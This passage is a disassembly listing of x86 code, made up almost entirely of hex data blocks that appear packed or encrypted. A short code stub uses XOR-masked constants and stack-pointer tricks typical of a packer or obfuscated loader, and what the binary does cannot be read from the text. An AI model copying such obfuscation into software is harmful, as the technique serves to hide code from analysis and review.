2D76F034h, 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h dd 0FB5F0FA8h, 0F53FD525h, 4FB2ADFDh, 34229150h, 0AC7ACFB7h dd 0AD29B723h, 0FD7A1A20h, 7C277975h, 0D8C94298h, 0B2FFA073h dd 7D7C0AC7h, 5E983C8h, 0DB8BA4F3h, 0E6ECBD8Dh, 8D8D0625h dd 62601D3h, 156644B8h, 0C1CF2B32h, 73102E9h, 0C783C8D0h dd 850F4904h, 0FFFFFFF2h dd 0BD83C08Bh, 61F06C1h, 83097500h, 1F1F51BDh, 19740006h dd 0C08B5350h, 411B8h, 95858900h, 8D061F13h, 21B00B9Dh dd 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h, 411B8h, 95858900h dd 8D061F13h, 21ACAC9Dh, 5BD3FF06h, 0BBC08B58h, 4672A4F2h dd 0F60A04EBh, 0CE9149Bh, 0DE000005h, 0F8BC33CEh, 17DB52ADh dd 33F76E93h, 4E128976h, 0E632A958h, 847D292Ch, 0A56A490Dh dd 0C33E6A2Eh, 0E01F884Ch, 7B27A069h, 19AD9EA3h, 458BFE36h dd 570B9D62h, 0B039B24Fh, 0D3A22C04h, 0E70BBF1Fh, 4FBAC70h dd 16E9BE72h, 2AD5D084h, 0DFFF8E98h, 239A6542h, 41B8495Fh dd 44D62B7Dh, 5AEC2390h, 1E8B4BC8h, 83A74FE1h, 5D4BD608h dd 5FF11098h, 0BA923EB7h, 4D1FD3A2h, 0F17EF599h, 26B948BBh dd 0D9015Dh, 65BF1AC5h, 45F519BDh, 6B0B9D62h, 1FD45C96h dd 13AA42Fh, 0F6BF9B8h, 6855h, 0BC7CE200h, 40F014EBh, 66069867h dd 1FD3A194h, 0FD3EA02Bh, 0F094BCBCh, 151h, 6045DE00h dd 0D0900D9Fh, 0F29A2CE3h, 6C871ECEh, 933C53Ch, 3438337h dd 29CD71CCh, 39C6E397h, 0B38B37C0h, 461FD311h, 0D2DC6E92h dd 0DF208545h, 668A772Fh, 772EF3EBh, 644F0F88h, 4B7119ABh dd 0E24F01D3h, 4FC6EAB9h, 6CE31C8Bh, 0A06145F5h, 1AF29E27h dd 0AD1FD3A2h, 8F43D5F9h, 0D357E916h, 0B9B8658h, 0ECBB7FF6h dd 0DDCD8113h, 0B1309224h, 0BA3B0E2Dh, 7572F094h, 0FF000000h dd 0EA06145h, 4A5505Ah, 11C557FBh, 0B24D5C99h, 0E2C87C0Eh dd 0F4838D1Fh, 0AE3D43EAh, 4CB5F130h, 6C9511D5h, 7C8326DAh dd 4B0B88EAh, 6D15A768h, 2B10CE49h, 0F094BA1Eh, 4E8Fh dd 61451C00h, 0D1910EA0h, 58082CD5h, 5830DC50h, 0EB1FD3A1h dd 911A9337h, 0D3A20DE5h, 0C8ECA01Fh, 0AA6AF736h, 62DD0100h dd 1A57Ch, 693CFC89h, 4FE1208Ah, 7CDF03A7h, 0D9F6045h dd 0D3A1986Dh, 38A6311Fh, 94BCB603h, 157F0h, 45E40000h dd 431BC765h, 0D61FD3A1h, 38EC7E22h, 5717906Fh, 0F88AAE53h dd 8129E966h, 2046EE80h, 82776AF3h, 0BB365A5Eh, 55ACFE23h dd 0C1C077DEh, 0FD761AE7h, 0F059F051h, 4FE19515h, 7AF30C9Bh dd 0A105F0BAh, 9743BC60h, 25F258BFh, 37A9E52h, 597683Fh dd 0F2589365h, 0CF8F1C25h, 0E39729D6h, 749A3EC3h, 8CE7486Bh dd 8D082C38h, 28D7D051h, 436424B1h, 6307FAB0h, 0E7188F3Fh dd 0F906A155h, 0AA6AE367h, 52AFF7FEh, 0CF0F8AAEh, 0C2C85389h dd 0E1349B46h, 19E4BC68h, 0C37725F2h, 72B8EF9Fh, 7608F7B2h dd 195A32CEh, 39ED25F2h, 25741E95h, 0C8097534h, 15Eh, 98467C55h dd 7C965C57h, 9A9DF014h, 0DD27EF7h, 0BA15F075h, 0E7C07406h dd 0CADDA118h, 0B8EFA335h, 21866F3Bh, 0A44CDEh, 9316CA5Ch dd 8026DA6Ch, 9747EF81h, 1E5DEF10h, 5D094F8Fh, 25F27485h dd 40C06418h, 7F3F19C5h, 0C845D728h, 0F274441Ch, 7F23D725h dd 3FCAB5Bh, 0CA76FF8Ch, 25F274F2h, 2E679A0Eh, 0F9C0567Ah dd 34097591h, 44BDEBABh, 0F280D0A8h, 8BAF6325h, 4DF2h dd 93A27F00h, 71D985FEh, 0E41FD3A3h, 0DB7F8224h, 0A2D1A949h dd 0D5601FD3h, 1A8F4F09h, 0C76EC1E5h, 359D49C2h, 0A81FD3A4h dd 0C56D8972h, 2287B961h, 0FFA34BDDh, 0A7B5E45Bh, 28000000h dd 0AA1BF39Fh, 25AE1FD3h, 0D3A9A179h, 0DC80341Fh, 95A255B8h dd 52DB8700h, 8715F0BBh, 9123ECC7h, 0CC8CC5E9h, 0EA9224DBh dd 0A700B446h, 8A1DE158h, 0B17CA5F3h, 52F673F6h, 728F19D9h dd 4D1CBC4Eh, 0D025F36Fh, 23849D41h, 0EC40705Ah, 47EBF4E9h dd 0BBCE69D0h, 0BB820C42h, 0A9CF3274h, 577D1C7Fh, 0D7207E4h dd 2EA7CB1Ah, 18C21482h, 51E3971Ch, 63F50A9Dh, 780AF7AFh dd 0C0774FFBh, 560A2C18h, 6BFD04A6h, 0EC419D2Ch, 7FFFDF5Eh dd 0B05CD5B8h, 223EC542h, 0D9A11C5h, 0E9866DD7h, 0AB5B9EA1h dd 0C97103FCh, 95A242A5h, 6DDB8700h, 0F015F9A6h, 0A5E3BB67h dd 0C27625F9h, 0CFD88C1Eh, 0B2F5B930h, 0B53EBB4Dh, 0F9A53109h dd 0EC10C425h, 37A45A50h, 4D912030h, 0B52CD3D4h, 6C3DB6F1h dd 0B5590193h, 0D72A7C3Ch, 0E7799D45h, 0F7897633h, 8B28E865h dd 0D14AF284h, 0B7A44D25h, 82CE038h, 0D7D0518Dh, 0E678971Ch dd 0FD917DBCh, 973B3DB9h, 0EFB87CF3h, 35F7E10h, 0E8000000h dd 674540A7h, 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h dd 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5286A234h dd 0C281E289h, 4, 3304EA83h, 14312414h, 24143324h, 0E789575Ch dd 4C781h, 0EF830000h, 243C8704h, 240C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebx mov ebx, 6260367h push ebx xor dword ptr [esp], 49092417h pop ecx xor ecx, 49092417h pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx sub esp, 4 mov [esp], ecx pop dword ptr [ebx+8] push dword ptr [esp] pop ebx add esp, 4 mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_535A7A ; --------------------------------------------------------------------------- dd 0E7CB612Ch, 44535A6Ch, 0B8F11601h, 62607D7h, 0E0FFC503h dd 5BF83BFh, 77EE5543h, 73F793B1h, 73A43B97h, 30753DA3h dd 530B0F2h, 24EA5996h, 0DF089B2h, 5FA5ACA3h, 60BD9DDFh dd 68E82F59h, 80D9D39h, 56415B1Fh, 1E03DFE9h, 20EEC591h dd 1BAEC589h, 5BC5266h, 39D3218Ah, 2B9A34A3h, 71BE3577h dd 1E31F21h, 62D747BBh, 46BDE76Dh, 6341E585h, 404878D0h dd 31B648E1h, 42B8EDD1h, 269FD6DAh, 0BCD704EBh, 7AE92FC4h dd 4E000005h, 682CA35Eh, 874BC23Dh, 0A367DE23h, 0BE82F906h dd 56A219E8h, 0F40D999Ch, 15FAB97Dh, 33CEDA9Eh, 50AFF8BCh dd 0EB9710D9h, 19AD9A13h, 7CFB6EA6h, 8517EABCh, 9729D6D1h dd 77274BEFh, 12E3C330h, 2ED66897h, 0AC50F88Ah, 3646FD33h dd 2EE23824h, 4AF2847Bh, 0A9812DA6h, 3C1FD2D4h, 1ED26488h dd 3E027988h, 50049669h, 0A62FA857h, 0AB3DC4E6h, 0D48F6703h dd 6E221FD2h, 0A104B84Ah, 33C2CC5Eh, 7824ADABh, 1FD2D4A0h dd 0AB5B7F33h, 0AA822EFCh, 3D1FD2D4h, 0E16EE589h, 28FA8521h dd 4C41443Ah, 3BEB0FB3h, 591D946Dh, 7939B24Fh, 8B3FD12Eh dd 1C40E41Dh, 5A4D0D8Ah, 0E2D181A5h, 0BEE79B2Dh, 0ADFBAF41h dd 29B8C254h, 6DEA78B5h, 3FB7737h, 62860176h, 7E2AF7E7h dd 497F0C83h, 0A8EDD40Dh, 6565AA47h, 56E856E1h, 0C9DE8EB2h dd 2F04A436h, 451FD2FBh, 5A0EA061h, 0DF1EB04Fh, 13938E50h dd 921D4AEEh, 594C0C4Ch, 486C14A6h, 941BE7B2h, 5C06F0h dd 45930000h, 6B0B9D62h, 1FD3A199h, 0BFE7A730h, 0B4A6FC0h dd 0A94D224Fh, 0D04B6F17h, 496C2D0Eh, 181F094h, 0E000000h dd 269F6045h, 2ABC4366h, 4FCC5E82h, 0DE69248Fh, 8FA65C6Eh dd 5A0EA044h, 0EE12B659h, 698673Eh, 0A9C5752h, 9E6347F7h dd 0CF5E68FAh, 6C93120Fh, 897631F5h, 61459B12h, 0D1910EA0h dd 0EF9729D6h, 0A1F2CA76h, 0D1851FD3h, 57A8FDADh, 689911C5h dd 7B8622D6h, 0F4EA65E9h, 0A1E0B864h, 0BF731FD3h, 0BE209B1Bh dd 47BE4363h, 0E4CF2483h, 41F5872Bh, 0A4069869h, 0DF9FB925h dd 0FDA537C8h, 0BA0643D9h, 7CA7F094h, 34000000h, 16E9BC7Ch dd 0C86442F2h, 0D3A1441Ch, 7323D71Fh, 933BCD32h, 134076EFh dd 6689D745h, 0A559EB0Fh, 606AFC05h, 92140DD1h, 7234F86Fh dd 0E18D168Fh, 1FD37A09h, 7138E89Ch, 24D86A8Eh, 0AF9EF885h dd 186E3DAh, 0EA69CB5Dh, 0AC0247F4h, 4CABF094h, 38000000h dd 0EA06145h, 21B34E5Ah, 33C53A6Dh, 0DCCB287Fh, 70ED7F23h dd 0D3A1ECC4h, 90CB7F1Fh, 1550DD01h, 0DDC95886h, 4536AD24h dd 461ECA60h, 0D91FD3A1h, 4FEF8125h, 1FD3A17Ah, 0E5568813h dd 0F094BC94h, 639h, 0B7F0B000h, 45C12448h, 0A107C765h dd 0A1ECC460h, 933F1FD3h, 1FD3A1BBh, 0AD619A4Eh, 0B381C787h dd 1A56C57h, 3EECBB6Fh, 0D374BA92h, 1A8D4D1Fh, 0B9D41E5h dd 3DE4FA79h, 5B1B946Dh, 771FB14Eh, 8F4FDC53h, 73C6EA17h dd 0AC58D1C4h, 15F08A4Bh, 3AC33CF0h, 8A2D05B1h, 0CC025F2h dd 0F28A9870h, 486B2B25h, 0F0FD23C7h, 1016725Ch, 7A2EC0E4h dd 975BD22Dh, 0BD5DEF10h, 25F28DEBh, 5FF9E574h, 0D7FB149Fh dd 67F8027h, 7CA05F46h, 99664105h, 0AB545307h, 0C41A9519h dd 0A334A5Dh, 0E368C8C7h, 0CD77EE92h, 9750E8Ch, 14121h dd 467CAE00h, 0A5454EB1h, 60B3D7CAh, 7939B2D7h, 953DCF30h dd 874CF871h, 3415F024h, 6D3AEE80h, 50571B92h, 3E691DAFh dd 8A89F4B5h, 0DC1DF0A3h, 1A93BDFh, 0CC47CB5Dh, 67980F12h dd 237346F0h, 699A0975h, 11000000h, 0A12585DBh, 0D4F8B0F4h dd 0FE93A271h, 693CFC85h, 385C0496h, 0D3A3349Ch, 7AF3A71Fh dd 0E49C1444h, 0B7DBF1D9h, 0D8AD8525h, 0B13C1FD2h, 3E6B2B2Dh dd 0EB4A9DC1h, 64F6199Ah, 0F39F18BCh, 1FD2DA8Bh, 0F1C975FEh dd 841FD2D9h, 0D9774FFBh, 560A1FD2h, 0A970EB2h, 0D9FDD581h dd 0DC901FD2h, 989DB8h, 50100000h, 2083A75Ah, 870095A2h dd 0F0BB52DBh, 8113C715h, 0A450DACDh, 25F2BBCCh, 485AB5Fh dd 0DE27682h, 19DD54F8h, 62DF718Eh, 7B2703A2h, 25F2D0A3h dd 4CDE8236h, 15E480A4h, 9825F2D2h, 5B4CD509h, 37F52BA4h dd 8DE84373h, 7AD8FE86h, 0A14535A7h, 989F067Dh, 0D2D07CF5h dd 751C1921h, 6C10F1B5h, 0E6BE6AF3h, 792C1921h, 216C44F0h dd 4BFF2C19h, 0AA822EA7h, 3D2C1921h, 1FD36589h, 53E57788h dd 8E4E0AD4h, 0AE56E817h, 8D00378Ah, 2A6A6814h, 590D223Fh dd 95A26BE2h, 0DDDB8700h, 8015F9AAh, 87BD3ACCh, 3A24CC56h dd 847B2CEBh, 9B0CBCE0h, 7E29ED64h, 0D62800ACh, 7BB25F9h dd 0D60AE28Eh, 0E99D25F9h, 0D43CC45h, 0DF702EF2h, 0A9811D36h dd 3C25FA1Bh, 32D26488h, 375A8DA9h, 0A204C451h, 125CD5Fh dd 0DEC95886h, 0C1E6AA21h, 0A205C53Eh, 0F3A7395Dh, 25B749B6h dd 0BEE938A6h, 0A106CA41h, 8F4FCC5Eh, 0F0756518h, 4FA6AD05h dd 0C17119ABh, 0E0881AE7h, 11A1BCh, 7C2A0000h, 8517EABCh dd 0EE6BB9DDh, 0F5877A2Eh, 45C6294Dh, 54089A67h, 661AAC53h dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h dd 0DA8E20E1h, 86A234CBh, 44E168h, 24048900h, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 50243C89h, 405E089h, 2D000000h dd 4, 5C240487h, 68240C89h, 62608F7h, 81243C8Bh, 4C4h dd 35A46800h, 24890000h, 24048324h, 57555904h, 0EF243481h dd 5D0D4324h, 24EFF581h, 69890D43h, 34FF5D08h, 0C4835924h dd 2434FF04h, 4C4815Fh, 0E9000000h, 0FFF96F12h, 0DFCB874h dd 0C5030626h, 3E68E0FFh, 2731C72h, 2C9E7BA2h, 95C64458h dd 6FA46BE5h, 54F14A8Fh, 771B0654h, 79D307E4h, 96442386h dd 4810251h, 3C203DEEh, 30A93531h, 7FEB331Ch, 42586670h dd 0A8E97F3Dh, 80D406F7h, 9AAF7473h, 53B531E3h, 0B58D3680h dd 5B9B601Fh, 0D7FD0DA2h, 0CDDD7294h, 2292740Ch, 0AA51D9Bh dd 949C0673h, 30BD2C59h, 0EDE97E94h, 60000000h, 0A8D88C66h dd 0DF840F04h, 8B000000h, 1F2409B5h, 0FE8306h, 22850Fh dd 85C60000h, 61F2025h, 69696845h, 0B5FF8E72h, 61F20D9h dd 7993858Dh, 0D0FF0622h, 0EE18589h, 0F08B061Fh, 0FE93E80h dd 3185h, 0BC858D00h, 0FF06247Eh, 0B5BD8BD0h, 81061F1Bh dd 1184C7h, 9B58B00h, 87061F24h, 8B9F7h, 0A4F30000h, 2409B58Bh dd 858D061Fh, 62333A9h, 0B58BD0FFh, 61F234Dh, 0F00FE83h dd 2285h, 2585C600h, 54061F20h, 4EBEF468h, 0D9B5FFFFh dd 8D061F20h, 22799385h, 89D0FF06h, 1F234D85h, 80F08B06h dd 850FE93Eh, 3Ah, 234DB58Bh, 858D061Fh, 6247EBCh, 0BD8BD0FFh dd 61F1BB5h, 1184C781h, 0C7830000h, 4DB58B08h, 87061F23h dd 8B9F7h, 0A4F30000h, 234DB58Bh, 858D061Fh, 62333A9h dd 0C361D0FFh, 0EE7858Dh, 85890626h, 61F2B21h, 12E8h, 0E5468E00h dd 766E5E50h, 28FC558Bh, 0DA03216Fh, 5AE7919Fh, 8810Fh dd 890F0000h, 2, 0C28107B1h, 7398h, 0D6E4BB66h, 1CB4BEh dd 32FFF500h, 6E8h, 9F08C800h, 0E9F3E33Fh, 13h, 77EFD7BEh dd 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah, 5F42C56Ch, 0E3816658h dd 0E881179Fh, 2EF46714h, 8161C980h, 6424D1F0h, 0A0E3806Dh dd 1B17E881h, 51505B98h, 7E9h, 0FA95C00h, 17321BFh dd 0B1028F5Bh, 4EA8320h, 61605260h, 0F2BF0F59h, 1EE8361h dd 1C850Fh, 81660000h, 0E9AF93DBh, 25h, 0B6C03AECh, 1FD93B6Ch dd 0DEB2D349h, 6F19A4EEh, 830FE6C8h, 0 dd 0FFFF6DE9h, 0C62E36FFh, 6483EC34h, 8EB45h, 0CC000000h dd 0E903C826h, 513h, 2611F168h, 6CB8E906h, 7968FFF9h, 0E9062612h dd 0FFF96CAEh, 2613A568h, 6CA4E906h, 4567FFF9h, 248145BCh dd 0AA064DBh, 0EDBC80F7h, 0CFD79B12h, 0B56FBB32h, 940BF6B0h dd 0B52CE3D0h, 0D34AB7F1h, 0F067980Fh, 2A02AE27h, 0BD19AD92h dd 61451285h, 0A1471FCBh, 51DA1FD3h, 0D3A1CDA5h, 8AC601Fh dd 0A20BE38Fh, 0EA9E1FD3h, 0A60DCD46h, 10F1B969h, 1A65AECh dd 0BB4DB4F2h, 6BF86F13h, 0E30708ABh, 69E2A790h, 0F095A8BDh dd 0EF813515h, 0F2D47B4Fh, 0E7188F25h, 7508A155h, 0DF54DB06h dd 0A739DDF8h, 5DD00E9Dh, 0DD5E80FFh, 974029Ch, 2CD31h dd 7FEBBE00h, 28D4EC4Bh, 1FD3A150h, 128B2FE3h, 0F081AD66h dd 0FB8E4215h, 0D5E90E5Bh, 0C3C67122h, 0A801C14Ah, 0F91DC557h dd 7508705Dh, 6877AD19h, 0C5B4EE64h, 0EF818026h, 467FA347h dd 4D830092h, 0D04CC7CEh, 5BAED222h, 9440B9DCh, 1F940EF3h dd 2ED1D898h, 0D750F49Ch, 8CED9017h, 1889CEF3h, 67F46B0Fh dd 748B1EDEh, 0C69E3AE2h, 592F9683h, 0D6D181A5h, 9AE5C229h dd 0AA0F9EBh, 310EBh, 0A9585400h, 0C8376E32h, 0E41D8D51h dd 0FF00A96Dh, 1FE2C488h, 9BA25CA8h, 0BB7FF60Bh, 0DCA017F8h dd 0FABE35CCh, 12DB52ADh, 9115ED99h, 70A819ADh, 95A2FDh dd 0B398DB87h, 854515F9h, 0A149DB24h, 0B2A47C28h, 833725F9h dd 0A666DFh, 7E528801h, 7B4EFAD3h, 4D1188ACh, 9916A859h dd 678C6410h, 0FDA825FAh, 8FC87002h, 4C1BB7DBh, 5A25FA67h dd 100A64Dh, 6804DC88h, 0E39725FAh, 0BEA9D83Fh, 16ACF00Fh dd 288F7h, 21E0CC00h, 40BFE6AAh, 5CA505C9h, 778821E5h dd 976A3C00h, 131AD420h, 33F76E93h, 54188F80h, 7236AD54h dd 8A53CA35h, 8F8D6511h, 0E82019ADh, 95A275h, 61255187h dd 62F40D9Bh, 11AE94BAh, 630F88ACh, 15F9A220h, 68990DCDh dd 0BE9232C4h, 0D225F9A1h, 0D5AD59E1h, 6825F9A1h, 0CA7E10B4h dd 539224DBh, 0B5131AC4h, 0C693A836h, 0E7094EB8h, 152h dd 0ECBC7C74h, 0B7DB8315h, 0CD5FA007h, 0F8718E19h, 2947B38h dd 58BF365Ah, 8531AADFh, 15F0A970h, 17B749FDh, 25F2A843h dd 87B42AA9h, 9744132h, 25DBh, 95A26800h, 0E3C78700h, 0D581FA1Eh dd 15F08130h, 0F79729DDh, 25F2C223h, 67D40A89h, 9745C12h dd 0B3BBh, 62454800h, 4F64249Dh, 560A9CC0h, 6B1FB150h dd 0B431C33Ch, 0B84AB5F4h, 6B3CEC10h, 7F6D1D94h, 0C21FD3A6h dd 86000A8Ch, 6488ED72h, 950CF3B4h, 4002092Eh, 552DD9BEh dd 0E81FD3A2h, 0AF710E34h, 22C63B6Bh, 7459057Eh, 2115F5FFh dd 7234F46Dh, 5254188Fh, 0E65748AFh, 7C12F00Bh, 15C5Dh dd 0F50CA000h, 14EBBA7Eh, 30D1D99Dh, 4BB4F5B9h, 6B9610D4h dd 0E7EEA8F4h, 7CB42BFh, 28EC63ACh, 460A8180h, 5E279E61h dd 8E6139E5h, 0BCF419ADh, 0A0614549h, 1AF29E27h, 0AD1FD3A2h dd 0A06149F9h, 0B878057Ch, 0B9913DEDh, 4C1FD3A1h, 20D0F498h dd 8A017887h, 0B9D6245h, 2EDA5057h, 1FD3A156h, 1A9135E9h dd 24DDCD8Dh, 12665FEh, 2C5030ACh, 0B22B5ED9h, 0F075C206h dd 27376D15h, 0D169B301h, 8A4AC367h, 0BE6EE51Ch, 25F1FDEAh dd 0DF56A9FEh, 0E4768B1Bh, 0C4C5h, 95A24E00h, 439B277Eh dd 0CE72A002h, 9DA2A955h, 8E1715F9h, 0F99D0AE2h, 45E99D25h dd 0E5A296CCh, 9A505C36h, 7730E476h, 4E841188h, 3BE7773Eh dd 25F95A63h, 421C42F6h, 8C3C60C9h, 356BE41Bh, 7238AA30h dd 65BF698Fh, 0E68A7731h, 0FD8F7236h, 0FF9F3155h, 1B474E13h dd 78FE34C1h, 4426FCABh, 0B925A0C4h, 3BD4DF9Fh, 585101A9h dd 496D15A7h, 0DF6F0E99h, 6FAE9B12h, 26B32ACEh, 2FC14066h dd 0F4B36387h, 73FC790Bh, 0E752EFC7h, 0AACE822Bh, 0BE50AFFAh dd 2731AD2Ch, 9DC13E67h, 0CE45BAEDh, 0E9629D0Ah, 0EF817E29h dd 52EEC672h, 0CD812BE7h, 54730529h, 0Dh, 0A12AA7DDh, 0D3A21DF5h dd 0D8FCB01Fh, 9A674575h, 0AC535408h, 0BF42661Ah, 0D53A792Dh dd 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh dd 0EC8386A2h, 24048904h, 405E089h, 83000000h, 48704E8h dd 1F685C24h, 8900001Ch, 89532434h, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 242C895Ch, 4AD6B850h, 0E7051D23h, 357D2405h dd 24876F5Eh, 3F2CAB0Dh, 46962523h, 5C055FF7h, 53E62F0Ah dd 0DE89C389h, 0DF68585Bh, 8900004Ch, 4812424h, 424h, 81565D00h dd 38B92404h, 458F00DFh, 91BB5308h, 8122D67Dh, 2946B5C3h dd 26EB815Dh, 8104653Dh, 44B199C3h, 85D2985h, 2434FF5Bh dd 4C4835Dh, 5E2434FFh, 0E904C483h, 0FFF967BAh, 1D1A6F3Bh dd 0E9A3E4AFh, 0B8B813FDh, 6261526h, 0E0FFC503h, 47A29B7Dh dd 3EF067F7h, 36AFA618h, 3918BB3Ah, 267843E4h, 6B89E98Ch dd 49C62974h, 6BFB9085h, 742F9931h, 5BFB5C70h, 16FF0F86h dd 2302050Eh, 1E2668CBh, 74CA902Ah, 16858D8Dh, 81660626h dd 895F61E8h, 1F0B5D8Dh, 0C7C68B06h, 1F20C585h, 6B0C06h dd 60C78B00h, 51FEB866h, 0C761EC8Ah, 1F137D85h, 6, 0B5FFF900h dd 61F1D15h, 2D3DB58Bh, 95FF061Fh, 61F2D59h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 66C35646h, 8B52C993h dd 1F2DD59Dh, 6A5F06h, 1D4595FFh, 0C08B061Fh, 0B0113BEBh dd 0DF217341h, 0F3D63D77h, 47DF7182h, 5409D14Eh, 77FDA53Dh dd 4E005C4Bh, 2F018F74h, 598889ABh, 0CD304FACh, 0E83BFD01h dd 0E5ED986Eh, 7BC33F5h, 0B9E1A83Ch, 65C31480h, 4104EB5Ah dd 0E92AA696h, 0CBEh, 2618A468h, 66A8E906h, 0A168FFF9h dd 0E9062619h, 0FFF9669Eh, 261BB068h, 6694E906h, 0C368FFF9h dd 0E906261Ch, 0FFF9668Ah, 261F7368h, 6680E906h, 0DA68FFF9h dd 0E9062620h, 0FFF96676h, 2621EB68h, 666CE906h, 7D2FFFF9h dd 5C490D84h, 42682CA3h, 258448BFh, 79F63DAh, 7D3783FAh dd 5CD32E78h, 7DF41B98h, 9B12EFB9h, 0B82FD0D7h, 0F2CA76EFh dd 8519AD8Ah, 0AF04C44Dh, 45D93C60h, 64249D62h, 32DBF42h dd 852D5B41h, 7323C798h, 19ABCF40h, 4DC2669Ch, 0B446B9ECh dd 0EBD2E60Ch, 9314C4E8h, 8226DA6Ch, 6E39ED7Fh, 5D4BFF91h dd 475E12A4h, 417E26B8h, 770528B6h, 6C3BE6F8h, 3FE32C87h dd 5FA204C8h, 7C8324E8h, 8E7136EAh, 287B017h, 7C540089h dd 221FD2EEh, 476565C9h, 883C75C8h, 0FC387062h, 0F41863DAh dd 4EBACF7Bh, 934715F0h, 4FFB8401h, 25F24D77h, 0A45B4A0Ah dd 6C40DC00h, 8025F24Dh, 9347D928h, 4D57E916h, 0AF0D20BEh dd 0CC8DAE30h, 0E10975ECh, 34h, 0F20D9858h, 95A26BCEh dd 3EFE8700h, 3E16C26Ah, 0D11FD3A1h, 3FE7791Dh, 80DA7F1Bh dd 0D38715F0h, 0C0CDA141h, 0B43325F2h, 5D48112Ah, 0DF650974h dd 0F2000000h, 0BC1B6245h, 56293A26h, 4AEEC672h, 0CD811FD3h dd 3FF38529h, 0E41B8E67h, 8D06AA52h, 24DDCDh, 12EDBA6Eh dd 65430380h, 0DFC8789Ch, 0AF9A920h, 181FD350h, 35F9708Fh dd 0A4FB8D72h, 0D985FE93h, 15F06060h, 0E8C06CF5h, 7B25F25Fh dd 0EAAA23C7h, 0A81F43BEh, 1A93F641h, 13D0366Eh, 9E09C91Ch dd 8444BD61h, 0DB68DF22h, 0E0728F1Bh, 823FF6B6h, 0FDA12353h dd 847D29D9h, 691D7E1Dh, 3655EBFAh, 0A32h dd 7FF60BA1h, 9E15EABBh, 0BA31D0DAh, 0D54CB3F6h, 0F56C9511h dd 0C0E6EFA9h, 0AD06CA41h, 8127EB62h, 62450980h, 0E45D269Dh dd 0AD896038h, 48BBF319h, 16946145h, 0DB159EBh, 5C490996h dd 0D8CF7FA3h, 9C25AE27h, 0D3A218F0h, 5BF7AB1Fh, 1FD3A183h dd 0F7B26216h, 0AACE7608h, 95A2BC33h, 36DB8700h, 0E315F081h dd 60209D2Fh, 0FA96BA45h, 25F2C226h, 87D10D8Ch, 8D1FE0C7h dd 6E2BC1E5h, 7F09745Ch, 0BCh, 0F7036F6h, 91851E01h, 9BBF6344h dd 9D624538h, 0B24F570Bh, 0D22F7939h, 8D7C1CAEh, 9B1FD3A6h dd 40C1E70Ch, 0EB6206AEh, 0ED7F8027h, 0C9E0A196h, 58FCA436h dd 0B4EBA9DFh, 8E1008Fh, 46BF6BE4h, 0DB15F0FDh, 0EE49B027h dd 1376229Bh, 0C01C146Ah, 0D3D3930Ch, 0B3F3B72Eh, 0C9E7142h dd 201B14E2h, 2CD066AAh, 4B2F07B3h, 0EC22C15h, 0D08E036Ah dd 31C7FA68h, 93512h, 0F908A400h, 18E7BE82h, 34CDDDA1h dd 4FB0F9BDh, 6F9214D8h, 0EBF2ACF8h, 0BCF46BBh, 2CF067A8h dd 4A0E857Ch, 622BA25Dh, 88653DE9h, 0C0F819ADh, 0A061454Dh dd 0B1426529h, 0D37B0D02h, 0EB7D8223h, 0B1289F43h, 18916245h dd 41CA43E7h, 0D3A1BD95h, 2FD0D91Fh, 8C1E42F6h, 0D2584F0Fh dd 0D3A14E26h, 892DE11Fh, 0DF2B565h, 55D5D494h, 0D3A1D1A9h dd 0CB0641Fh, 37AED27Ah, 42BDEAAAh, 8BE208B0h, 771FA7C3h dd 895DF91Dh, 9D1FD36Ah, 0BA7EF50Ah, 0CC8012EDh, 0E9224DBh dd 0D1D64B93h, 0B4F5B52Eh, 6B0274Bh, 0F0948BB3h, 0C65Ah dd 95A2E700h, 0DEC78700h, 0C3E78F21h, 0A601C14Ah, 0B4993559h dd 6115F0B3h, 0A77B1BADh, 0D25F2B3h, 7F08508Eh, 0F2B3FBD3h dd 0B6DA8E25h, 74565920h, 917409h, 59010000h, 1FD3A184h dd 7CA39BD1h, 2B1FCD3Fh, 3983B407h, 0D382B58Dh, 0F094481Fh dd 8B6ACB77h, 0FCF15F0h, 2BD3659Ah, 0A31ACE07h, 9E18D16h dd 2525F28Bh, 45ED7F80h, 33DF580Ch, 25F28A5Bh, 66163AEEh dd 0BF48C140h, 0F28A3B13h, 0F61ACE25h, 0B25EE764h, 25F28ADAh dd 4295B96Dh, 7B27A0F5h, 1C0F6A82h, 5FEC6317h, 0CE782C29h dd 0D6820251h, 2C1256FEh, 1539DD91h, 45BE4365h, 0B7DB2485h dd 2469CE25h, 6DC6FFABh, 0A75B222Fh, 4910130h, 0A28A0000h dd 0DB870095h, 15F0B2EAh, 8242BB6Fh, 0A048DA25h, 764AEA7Ch dd 0DC25F2B2h, 0FFBA815Dh, 0E097457h, 46Bh, 0EEBC7C9Bh dd 0B5D98113h, 9D9ADAABh, 0E6BF7FF8h, 0BBDF8719h, 81DD9642h dd 0BE7215F0h, 0B29C8B2Bh, 21E1B735h, 6EEB7D92h, 0B7F2EAC2h dd 25C97DCFh, 489AE01h, 0E65ADF8Bh, 5307C5D4h, 0C8CD6AC1h dd 0DD90C64Fh, 0EFE45DE8h, 0E548E408h, 92CBF90Ch, 2A565DEh dd 0C874B6F1h, 0DBF94BF0h, 7B2BCF83h, 0BA31D52Ah, 6342B1F6h dd 0BE620A9Ch, 0CD07457h, 5C7B114Ah, 726h, 73EA1795h, 9209F6AFh dd 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h dd 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0AD86542Ch, 3CAFE719h dd 17916245h, 0CB058EAh, 0AC14237Ah, 0A19F7723h, 7E321FD3h dd 0D3A20AE2h, 45E99D1Fh, 0A74F20CCh, 20D415F0h, 475E1EA7h dd 